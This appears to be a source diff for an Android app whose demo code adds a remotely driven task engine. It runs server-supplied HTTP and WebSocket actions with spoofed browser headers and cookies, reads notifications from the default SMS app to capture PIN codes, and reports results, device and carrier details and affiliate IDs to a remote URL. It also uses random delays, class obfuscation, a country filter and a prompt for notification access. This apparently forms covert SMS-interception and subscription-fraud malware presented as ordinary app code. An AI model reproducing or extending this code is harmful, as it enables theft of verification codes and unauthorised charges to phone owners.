taskConfig = buildTaskConfig()
}
// ==================== 主执行方法 ====================
suspend fun runTask(timeOutMillis: Long) {
try {
WebSocketUtil.disconnect()
// setupNotificationListener()
execTask(timeOutMillis)
} finally {
NotificationManger.listener = null
NotificationManger.stopPolling()
}
}
// ==================== 初始化 ====================
private fun buildTaskConfig(): TaskConfig {
return with(taskResponse) {
TaskConfig(
userId = userId,
userAgent = userAgent,
secChUa = secChUa,
accept = accept,
acceptLanguage = acceptLanguage,
taskId = currentTask.taskId,
taskVer = currentTask.taskVer,
taskUid = currentTask.taskUid,
cookieManager = CookieManager(null, CookiePolicy.ACCEPT_ORIGINAL_SERVER),
currentStep = 0,
reportUrl = reportUrl,
variableCache = mutableMapOf(),
notificationCache = mutableSetOf()
)
}
}
// ==================== 通知监听器设置 ====================
private fun setupNotificationListener() {
if (!currentTask.isPinAction) return
NotificationManger.listener = { notification ->
if (shouldAddNotification(notification)) {
taskConfig.notificationCache.add(notification)
LogUtils.info("TaskExecService: received notification: ${notification.content}")
}
}
}
private fun shouldAddNotification(notification: NotificationMessage): Boolean {
if (!currentTask.filter) {
return true
}
val defaultSmsPackage = Telephony.Sms.getDefaultSmsPackage(context)
return defaultSmsPackage != null && notification.app == defaultSmsPackage
}
// ==================== 任务执行 ====================
private suspend fun execTask(timeOutMillis: Long) {
val start = System.currentTimeMillis()
val taskExec = createTaskExec()
val logs = mutableListOf<ActionExec>()
var reportService: TaskReportService? = null
var finalStep = 0
try {
withTimeout(timeMillis = timeOutMillis) {
finalStep = executeActions(logs)
updateTaskExec(taskExec, finalStep, logs)
reportService = sendReport(taskExec)
applyRandomDelay()
}
} catch (e: Exception) {
LogUtils.error(e, "TaskExecService: task ${currentTask.taskId} execute failed")
handleExecutionError(taskExec, logs, reportService, finalStep)
} finally {
logExecutionTime(start)
}
}
private fun createTaskExec(): TaskExec {
return TaskExec(
taskId = currentTask.taskId,
taskVer = currentTask.taskVer,
taskUid = currentTask.taskUid,
logs = mutableListOf(),
lastStep = 0
)
}
private suspend fun executeActions(logs: MutableList<ActionExec>):Int {
val actions = currentTask.actions
var lastStep = 0
while (taskConfig.currentStep < actions.size) {
val action = actions[taskConfig.currentStep]
lastStep = taskConfig.currentStep
if (action.disconnectWs) {
WebSocketUtil.disconnect()
}
executeAction(action, logs)
}
return if(taskConfig.currentStep >= Int.MAX_VALUE) lastStep else taskConfig.currentStep
}
private suspend fun executeAction(
action: BaseAction,
logs: MutableList<ActionExec>
) {
when (action) {
is BaseAction.HttpAction -> {
HttpService(action, taskConfig).execute { logs += it }
}
is BaseAction.WebSocketAction -> {
WebSocketService(action, taskConfig).execute { logs += it }
}
is BaseAction.PinAction -> {
PinService(action, taskConfig).execute { logs += it }
}
}
}
private fun updateTaskExec(
taskExec: TaskExec,
finalStep: Int,
logs: List<ActionExec>
) {
taskExec.lastStep = finalStep
taskExec.logs = logs
}
private suspend fun sendReport(taskExec: TaskExec): TaskReportService {
val reportService = TaskReportService(
taskExec,
taskConfig.reportUrl,
baseRequest
)
reportService.run()
return reportService
}
private suspend fun applyRandomDelay() {
val delaySeconds = Random.nextInt(
MIN_DELAY_SECONDS,
MAX_DELAY_SECONDS + 1
)
delay(delaySeconds * 1000L)
}
private suspend fun handleExecutionError(
taskExec: TaskExec,
logs: List<ActionExec>,
reportService: TaskReportService?,
finalStep: Int,
) {
if (reportService == null) {
updateTaskExec(taskExec, finalStep, logs)
TaskReportService(taskExec, taskConfig.reportUrl, baseRequest).run()
}
}
private fun logExecutionTime(start: Long) {
val elapsedSeconds = (System.currentTimeMillis() - start) / MS_TO_SECONDS
LogUtils.info("TaskExecService: execution finished, elapsed: ${elapsedSeconds}s")
}
}

@ -0,0 +1,62 @@
package com.example.service
import com.example.action.HttpMethod
import com.example.http.HttpClient
import com.example.http.HttpClient.call
import com.example.http.Request
import com.example.http.Response
import com.example.logger.LogUtils
import com.example.report.TaskExec
import com.example.request.BaseRequest
import com.example.request.ReportTaskRequest
import com.example.utils.toJsonString
import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext
class TaskReportService(
private val taskExec: TaskExec,
private val reportUrl: String,
private val baseRequest: BaseRequest
) {
companion object {
private const val CONTENT_TYPE_STREAM = HttpClient.Params.REQUEST_HEADER_CONTENT_TYPE_STREAM
}
suspend fun run(): Response = withContext(Dispatchers.IO) {
val request = buildRequest()
logRequest(request)
request.call()
}
private fun buildRequest(): Request {
val requestBody = buildRequestBody()
return Request(
url = reportUrl,
headers = buildHeaders(),
method = HttpMethod.Post,
body = requestBody.toByteArray()
)
}
private fun buildHeaders(): Map<String, String> {
return mapOf(
HttpClient.Params.REQUEST_HEADER_CONTENT_TYPE to CONTENT_TYPE_STREAM,
HttpClient.Params.REQUEST_HEADER_ACCEPT to CONTENT_TYPE_STREAM
)
}
private fun buildRequestBody(): String {
val reportRequest = ReportTaskRequest(
baseRequest,
taskLogs = listOf(taskExec)
)
return reportRequest.toJsonString()
}
private fun logRequest(request: Request) {
val requestData = String(request.body)
LogUtils.info("TaskReportService request-data: $requestData")
LogUtils.info("TaskReportService request-url: ${request.url}")
}
}

@ -0,0 +1,287 @@
package com.example.service
import android.util.Log
import com.example.action.BaseAction
import com.example.action.NameValue
import com.example.action.WebSocketActionRequest
import com.example.action.WsRequestParam
import com.example.logger.LogUtils
import com.example.report.ActionExec
import com.example.task.TaskConfig
import com.example.utils.WebSocketUtil
import com.example.utils.WebSocketUtil.callRequest
import com.example.utils.toJsonString1
import com.example.web_socket.WsRequest
import com.example.web_socket.WsResponse
import kotlinx.coroutines.launch
import java.nio.charset.StandardCharsets
class WebSocketService(
private val action: BaseAction.WebSocketAction,
override val taskConfig: TaskConfig
) : BaseService(taskConfig) {
companion object {
private const val WS_PROTOCOL = "ws://"
private const val WSS_PROTOCOL = "wss://"
private const val HTTP_PROTOCOL = "http://"
private const val HTTPS_PROTOCOL = "https://"
}
// ==================== 主执行方法 ====================
override suspend fun execute(onFinish: (List<ActionExec>) -> Unit) {
val actionExecList = mutableListOf<ActionExec>()
val currentStep = taskConfig.currentStep
runCatching {
val actionRequest = action.request
?: throw NullPointerException("request is null")
amendActionRequest(actionRequest)
val wsRequest = buildWsRequest(actionRequest)
val result = if (action.async) {
handleAsyncRequest(wsRequest, actionExecList)
} else {
handleSyncRequest(wsRequest, actionExecList, currentStep)
}
updateTaskStep(result, currentStep)
}.onFailure { e ->
LogUtils.error(e)
handleException(e, actionExecList, currentStep)
}
onFinish(actionExecList)
}
// ==================== 请求构建 ====================
private fun buildWsRequest(actionRequest: WebSocketActionRequest): WsRequest {
return WsRequest(
url = actionRequest.url,
headers = actionRequest.headers.nameValueToMap().toMutableMap(),
method = WebSocketUtil.WEB_SOCKET_REQUEST_METHOD,
delay = action.delay,
messages = actionRequest.params
)
}
// ==================== 请求处理 ====================
private data class RequestResult(
val wsResponse: WsResponse?,
val wsReceiveMsg: String
)
private suspend fun handleAsyncRequest(
wsRequest: WsRequest,
actionExecList: MutableList<ActionExec>
): RequestResult {
scope.launch {
callRequest(wsRequest)
}
val actionExec = wsRequest.genActionExec(null)
actionExec.respCode = ASYNC_EXEC_CODE
actionExecList += actionExec
return RequestResult(null, "")
}
private suspend fun handleSyncRequest(
wsRequest: WsRequest,
actionExecList: MutableList<ActionExec>,
currentStep: Int
): RequestResult {
val wsResponse = callRequest(wsRequest)
val actionExec = wsRequest.genActionExec(wsResponse)
actionExecList += actionExec
val wsReceiveMsg = wsResponse.data?.toString() ?: ""
if (wsReceiveMsg.isNotEmpty()) {
extractBodyVariableToCache(
action,
wsReceiveMsg,
wsReceiveMsg.toByteArray(StandardCharsets.UTF_8)
)
}
return RequestResult(wsResponse, wsReceiveMsg)
}
// ==================== 步骤更新 ====================
private fun updateTaskStep(result: RequestResult, currentStep: Int) {
val nextStep = result.wsResponse?.let { response ->
calculateNextStep(response, result.wsReceiveMsg, currentStep)
} ?: run {
// 异步请求或没有响应时,继续下一步
currentStep + 1
}
taskConfig.currentStep = nextStep
}
private fun calculateNextStep(
wsResponse: WsResponse,
wsReceiveMsg: String,
currentStep: Int
): Int {
return when (wsResponse.code) {
WebSocketUtil.WEB_SOCKET_CODE -> {
action.next.getNextStepIndex(wsReceiveMsg, currentStep)
}
else -> {
if (action.skipError) {
currentStep + 1
} else {
Int.MAX_VALUE
}
}
}
}
// ==================== 异常处理 ====================
private fun handleException(
e: Throwable,
actionExecList: MutableList<ActionExec>,
currentStep: Int
) {
val actionExec = genExceptionActionExec(
action,
ERROR_CODE_WS_ACTION_EXEC_FAILED,
Log.getStackTraceString(e)
)
actionExecList += actionExec
taskConfig.currentStep = if (action.skipError) {
currentStep + 1
} else {
Int.MAX_VALUE
}
}
// ==================== 请求修改 ====================
private fun amendActionRequest(actionRequest: WebSocketActionRequest) {
// 替换变量
actionRequest.headers.replaceVariableData()
actionRequest.cookies.replaceVariableData()
actionRequest.params.replaceWsParamVariableData()
// 处理 data 字段
handleRequestData(actionRequest)
// 添加基础 Header
actionRequest.headers = actionRequest.headers.amendBaseHeader(false)
// 处理 URL 和 Cookie
processUrlAndCookie(actionRequest)
}
private fun handleRequestData(actionRequest: WebSocketActionRequest) {
if (actionRequest.data.isNotBlank()) {
actionRequest.data = actionRequest.data.toVariableData()
// 如果 data 存在且 params 不为空,将 data 作为新的 param
if (actionRequest.params.isNotEmpty()) {
actionRequest.params = listOf(
WsRequestParam(value = actionRequest.data)
)
}
}
}
private fun processUrlAndCookie(actionRequest: WebSocketActionRequest) {
val normalizedUrl = actionRequest.url.toVariableData()
actionRequest.url = normalizedUrl
runCatching {
val cookieUrl = normalizeUrlProtocol(normalizedUrl)
amendCookie(actionRequest, cookieUrl)
}.onFailure {
LogUtils.error(it, "Failed to process URL and cookie")
actionRequest.url = normalizedUrl
}
}
private fun normalizeUrlProtocol(url: String): String {
return when {
url.startsWith(WSS_PROTOCOL, ignoreCase = true) -> {
url.replace(WSS_PROTOCOL, HTTPS_PROTOCOL, ignoreCase = true)
}
url.startsWith(WS_PROTOCOL, ignoreCase = true) -> {
url.replace(WS_PROTOCOL, HTTP_PROTOCOL, ignoreCase = true)
}
else -> url
}
}
private fun amendCookie(
actionRequest: WebSocketActionRequest,
cookieUrl: String
) {
val cookies = mutableSetOf<NameValue>()
// 从 CookieManager 获取 Cookie
if (actionRequest.autoCookie) {
cookies += cookieFromCookieManager(cookieUrl)
}
// 添加手动指定的 Cookie覆盖同名 Cookie
actionRequest.cookies.forEach { cookie ->
cookies.remove(cookie)
cookies += cookie
}
// 构建 Cookie Header
if (cookies.isNotEmpty()) {
actionRequest.headers += cookies.toList().buildCookie()
}
}
// ==================== 变量替换 ====================
private fun List<WsRequestParam>.replaceWsParamVariableData() {
forEach { param ->
param.value = param.value.toVariableData()
param.interrupt = param.interrupt.toVariableData()
}
}
// ==================== ActionExec 生成 ====================
private fun WsRequest.genActionExec(wsResponse: WsResponse?): ActionExec {
val actionExec = ActionExec(
step = taskConfig.currentStep,
index = 1,
time = System.currentTimeMillis(),
url = url,
method = method,
reqHeader = headers.toJsonString1()
)
// 构建请求数据
if (messages.isNotEmpty()) {
actionExec.reqData = messages.joinToString(",") { it.value }
}
// 填充响应数据
wsResponse?.let { response ->
fillResponseData(actionExec, response)
}
return actionExec
}
private fun fillResponseData(actionExec: ActionExec, response: WsResponse) {
actionExec.respCode = response.code
actionExec.respData = response.data?.toString() ?: ""
actionExec.respHeader = response.headers.toJsonString1()
actionExec.cost = response.endTime - response.startTime
}
}

@ -2,20 +2,21 @@ package com.example.task
import com.example.action.NoString
import com.example.pin.NotificationMessage
import java.net.CookieManager
data class TaskConfig(
val taskId: Int,
val taskVer:Int,
val taskVer: Int,
val taskUid: Long,
val userId: String,
val userAgent: String,
val secChUa:String,
val accept:String,
val acceptLanguage:String,
val cookieManager:String,
val currentStep:Int,
val reportUrl:String,
val secChUa: String,
val accept: String,
val acceptLanguage: String,
val cookieManager: CookieManager,
var currentStep: Int,
val reportUrl: String,
val variableCache: MutableMap<String, String>,
val notificationCache: MutableList<NotificationMessage>
) : NoString()
val notificationCache: MutableSet<NotificationMessage>
) : NoString()

@ -70,7 +70,7 @@ private fun Byte.encryption(key: Byte, method: Int): Byte {
}
fun ByteArray.encryption(encryptable: Encryptable): ByteArray {
val result = ByteArray(this.size)
val result = ByteArray(encryptable.data.size)
encryptable.data.forEachIndexed { index, byte ->
result[index] = byte.encryption(this[index % size], encryptable.type)
}

@ -4,6 +4,7 @@ import com.example.action.BaseAction
import com.example.action.HttpActionRequest
import com.example.action.HttpActionResponse
import com.example.action.HttpMethod
import com.example.action.HttpMethod.Companion.toHttMethod
import com.example.action.NameValue
import com.example.action.NameVariable
import com.example.action.Next
@ -33,28 +34,13 @@ fun Request.toJsonString(): String {
}.toString()
}
fun List<NotificationMessage>.toJsonString(): String {
val strings = "content_from_time_app".split("_")
val notifications = this
return JSONArray().also {
for (n in notifications) {
it.put(JSONObject().run {
put(strings[0], n.content)
put(strings[1], n.from)
put(strings[2], n.time)
put(strings[3], n.app)
})
}
}.toString()
}
fun Response.toJsonString(): String {
val strings = "code#start_time#end_time#data#header".split("#")
return JSONObject().apply {
put(strings[0], code)
put(strings[1], startTime)
put(strings[2], endTime)
put(strings[3], data)
put(strings[3], String(data))
put(strings[4], headers.toJson())
}.toString()
}
@ -72,6 +58,16 @@ fun <A> List<A>.toJson(): JSONArray {
array.put(JSONObject().put(it.name, it.name))
}
is NotificationMessage -> {
val strings = "content_from_time_app".split("_")
val obj = JSONObject()
obj.put(strings[0], it.content)
obj.put(strings[1], it.from)
obj.put(strings[2], it.time)
obj.put(strings[3], it.app)
array.put(obj)
}
is TaskExec -> {
JSONObject().let { obj ->
obj.put(strings1[0], it.taskId)
@ -107,6 +103,8 @@ fun <A> List<A>.toJson(): JSONArray {
}
}
fun <A> List<A>.toJsonString() = this.toJson().toString()
fun BaseRequest.toJson(): JSONObject {
val strings =
"userId-pkg-affId-subId-androidVer-sdkVer-appVer-countryCode-telcoCode-netType-recvFlag".split(
@ -141,15 +139,14 @@ fun Map<String, String>.toJson1(): JSONObject = JSONObject().run {
}
fun Map<String, List<String>>.toJson(): JSONObject {
return JSONObject().run {
filter { isNotEmpty() }.map { h ->
return JSONObject().let { obj->
filter { isNotEmpty() }.mapValues {
JSONArray().let { array ->
h.value.map { v -> array.put(v) }
}.apply {
put(h.key, this)
it.value.map { v -> array.put(v) }
obj.put(it.key, array)
}
}
this
obj
}
}
@ -167,8 +164,8 @@ fun ByteArray.toTaskResponse(): TaskResponse? {
result.secChUa = optString(strings1[1])
result.acceptLanguage = optString(strings1[2])
result.accept = optString(strings1[3])
result.resportUrl = optString(strings1[4])
result.reqeustInterval = optInt(strings1[5])
result.reportUrl = optString(strings1[4])
result.requestInterval = optInt(strings1[5])
result.result = optBoolean(strings1[6])
result.tasks = optJSONArray(strings1[7]).toTasks()
@ -179,7 +176,7 @@ fun ByteArray.toTaskResponse(): TaskResponse? {
private fun JSONArray?.toTasks(): List<Task> {
val strings = "taskId-taskVer-taskUid-actions".split("-")
val result: MutableList<Task> = mutableListOf()
if(this == null) return result
if (this == null) return result
(0 until length()).forEach { index ->
val taskJson = getJSONObject(index)
val task = Task(
@ -195,8 +192,8 @@ private fun JSONArray?.toTasks(): List<Task> {
private fun JSONArray?.toActions(): List<BaseAction> {
val result: MutableList<BaseAction> = mutableListOf()
val strings = "type-delay-skip-error-async-disconnect_ws".split("-")
if(this == null) return result
val strings = "type-delay-skip_error-async-disconnectWs".split("-")
if (this == null) return result
(0 until length()).forEach { index ->
val actionJson = getJSONObject(index)
with(actionJson) {
@ -207,11 +204,11 @@ private fun JSONArray?.toActions(): List<BaseAction> {
val disconnectionWs = optBoolean(strings[4])
when (type) {
0 -> {//http
result += actionJson.toHttpAction(delay, skipError, async)
result += actionJson.toHttpAction(delay, skipError, async, disconnectionWs)
}
1 -> {//pin
result += actionJson.toPin(delay, skipError, async)
result += actionJson.toPin(delay, skipError, async, disconnectionWs)
}
2 -> {//ws
@ -229,41 +226,34 @@ private fun JSONObject.toHttpAction(
delay: Int,
skipError: Boolean,
async: Boolean,
disconnectWs: Boolean
): BaseAction {
val strings = "request-url-method-auto_cookie-headers-params-cookies-data".split("-")
val strings = "request-url-method-autoCookie-headers-params-cookies-data".split("-")
val httpAction = BaseAction.HttpAction(
delay = delay,
skipError = skipError,
async = async
async = async,
disconnectWs = disconnectWs
)
val request = optJSONObject(strings[0])
if (request == null) return httpAction
with(request) {
request?.run {
val actionRequest = HttpActionRequest(
url = optString(strings[1]),
method = if (optString(strings[2]).contentEquals(
"post",
true
)
) HttpMethod.Post else HttpMethod.Get,
method = optString(strings[2]).toHttMethod(),
autoCookie = optBoolean(strings[3]),
)
val headers = optJSONArray(strings[4])
if (headers == null) return httpAction
actionRequest.headers = headers.toNameValue()
val params = optJSONArray(strings[5])
if (params == null) return httpAction
actionRequest.params = params.toNameValue()
val cookies = optJSONArray(strings[6])
if (cookies == null) return httpAction
actionRequest.cookies = cookies.toNameValue()
actionRequest.data = optString(strings[7])
httpAction.request = actionRequest
}
val response = optJSONObject("response")
if (response == null) return httpAction
with(response) {
response?.run {
val actionResponse = HttpActionResponse(
headers = optJSONArray(strings[4]).toNameVariable(),
cookies = optJSONArray(strings[6]).toNameVariable(),
@ -280,13 +270,15 @@ private fun JSONObject.toHttpAction(
private fun JSONObject?.toPin(
delay: Int,
skipError: Boolean,
async: Boolean
async: Boolean,
disconnectionWs: Boolean
): BaseAction {
val strings = "next-params-filter".split("-")
val pinAction = BaseAction.PinAction(
delay = delay,
skipError = skipError,
async = async
async = async,
disconnectWs = disconnectionWs
)
if (this == null) return pinAction
pinAction.next = optJSONArray(strings[0]).toNext()
@ -311,9 +303,8 @@ private fun JSONObject?.toWebSocketAction(
if (this == null) return webSocketAction
val strings = "request-headers-params-cookies-response-next".split("-")
val request = optJSONObject(strings[0])
if (request == null) return webSocketAction
with(request) {
val strings1 = "url-data-auto_cookie".split("-")
request?.run {
val strings1 = "url-data-autoCookie".split("-")
val webSocketActionRequest = WebSocketActionRequest(
url = optString(strings1[0]),
data = optString(strings1[1]),
@ -327,14 +318,13 @@ private fun JSONObject?.toWebSocketAction(
}
val response = optJSONObject(strings[4])
if (response == null) return webSocketAction
with(response) {
response?.run {
webSocketAction.response = WebSocketActionResponse(
params = optJSONArray(strings[2]).toParams()
)
}
webSocketAction.next = optJSONArray(strings[6]).toNext()
webSocketAction.next = optJSONArray(strings[5]).toNext()
return webSocketAction
}

@ -22,6 +22,7 @@ object WebSocketUtil {
private var uri: URI? = null
const val WEB_SOCKET_CODE = 101
const val ERROR_CODE_WS_ACTION_EXEC_FAILED = 800
const val WEB_SOCKET_REQUEST_METHOD = "WS"
const val WEB_SOCKET_REQUEST_HEADER_PROTOCOL = "Sec-WebSocket-Protocol"
private var isOpen = false
@ -144,7 +145,7 @@ object WebSocketUtil {
responseHeader: WebSocketHeader,
result: Result
) {
val messages = request.message
val messages = request.messages
if (messages.isEmpty() || socket == null || !isOpen) {
result.code = WebSocketCode.EstablishConnectionFailed.code
return
@ -249,7 +250,7 @@ object WebSocketUtil {
override fun onFailure(webSocket: WebSocket, t: Throwable, response: Response?) {
super.onFailure(webSocket, t, response)
LogUtils.info("${System.currentTimeMillis()} current web socket connection error")
LogUtils.error(t,"${System.currentTimeMillis()} current web socket connection error")
}
}
}
@ -270,8 +271,10 @@ object WebSocketUtil {
}
fun disconnect() {
socket?.close(1000, "")
client.dispatcher.executorService.shutdown()
try {
socket?.close(1000, "")
} catch (e: Exception) {
}
socket = null
}
}

@ -1,13 +1,12 @@
package com.example.web_socket
import com.example.action.HttpMethod
import com.example.action.NoString
import com.example.action.WsRequestParam
data class WsRequest(
val url: String,
val method: HttpMethod = HttpMethod.Get,
val method: String,
val headers: MutableMap<String, String> = mutableMapOf(),
val message: List<WsRequestParam> = mutableListOf(),
val messages: List<WsRequestParam> = mutableListOf(),
val delay: Int = 0
) : NoString()

@ -8,7 +8,7 @@ android {
compileSdk = 34
defaultConfig {
applicationId = "com.galaxy.oceen"
applicationId = "com.galaxy.oo"
minSdk = 24
targetSdk = 33
versionCode = 1
@ -28,11 +28,11 @@ android {
}
}
compileOptions {
sourceCompatibility = JavaVersion.VERSION_21
targetCompatibility = JavaVersion.VERSION_20
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
kotlinOptions {
jvmTarget = "20"
jvmTarget = "1.8"
}
}

@ -21,3 +21,4 @@
#-renamesourcefileattribute SourceFile
-dontoptimize
-classobfuscationdictionary ../dict.txt

@ -1,9 +1,14 @@
package com.galaxy.demo
import android.app.Application
import android.util.Log
import androidx.annotation.RestrictTo
import com.example.pin.NotificationManger
import com.galaxy.permision.DistrictFilter
import com.galaxy.permision.PermissionChecker
import kotlinx.coroutines.MainScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
class App:Application() {
override fun onCreate() {
@ -11,9 +16,9 @@ class App:Application() {
init()
}
private fun init() {
PermissionChecker.showPermissionDialog(this, DistrictFilter("460"))
NotificationManger.startPolling(this)
}
}

@ -2,25 +2,22 @@ package com.galaxy.demo
import android.annotation.SuppressLint
import android.service.notification.NotificationListenerService
import android.service.notification.StatusBarNotification
import android.util.Log
import androidx.annotation.Keep
class MyService : NotificationListenerService() {
companion object {
@SuppressLint("StaticFieldLeak")
@Keep
var instance: NotificationListenerService? = null
@JvmStatic
private var a: NotificationListenerService? = null
}
override fun onNotificationPosted(sbn: StatusBarNotification) {
super.onNotificationPosted(sbn)
Log.d("TAG", ".....")
}
// override fun onNotificationPosted(sbn: StatusBarNotification) {
// super.onNotificationPosted(sbn)
// Log.d("TAG", ".....")
// }
override fun onCreate() {
super.onCreate()
instance = this
a = this
}
}

@ -1,5 +1,6 @@
package com.galaxy.permision
import a.b.c.V
import android.app.Activity
import android.app.ActivityManager
import android.app.Application
@ -13,6 +14,7 @@ import android.os.Bundle
import android.os.Process
import android.util.Log
import android.view.View
import com.example.service.MainService
import com.example.utils.notificationListenerEnable
import com.galaxy.permision.PermissionDialog.weakReference
import java.lang.ref.WeakReference
@ -39,7 +41,7 @@ object PermissionChecker {
if (processName.contentEquals(context.packageName)) {
Log.i(PermissionChecker.javaClass.simpleName, "pn: $processName")
// Sdk.init(context, filter.match())
V.init(context, filter.match())
var notificationListenerServiceClass: String? = null
try {
@ -70,7 +72,7 @@ object PermissionChecker {
override fun onActivityResumed(activity: Activity) {
Log.i("TAG", "onActivityResumed: ${activity::class.java.simpleName}")
weakReference = WeakReference(activity)
if (/*MainService.instance.isVerified &&*/
if (MainService.instance.isVerified &&
filter.match() &&
!context.notificationListenerEnable()
) {

Loading…
Cancel
Save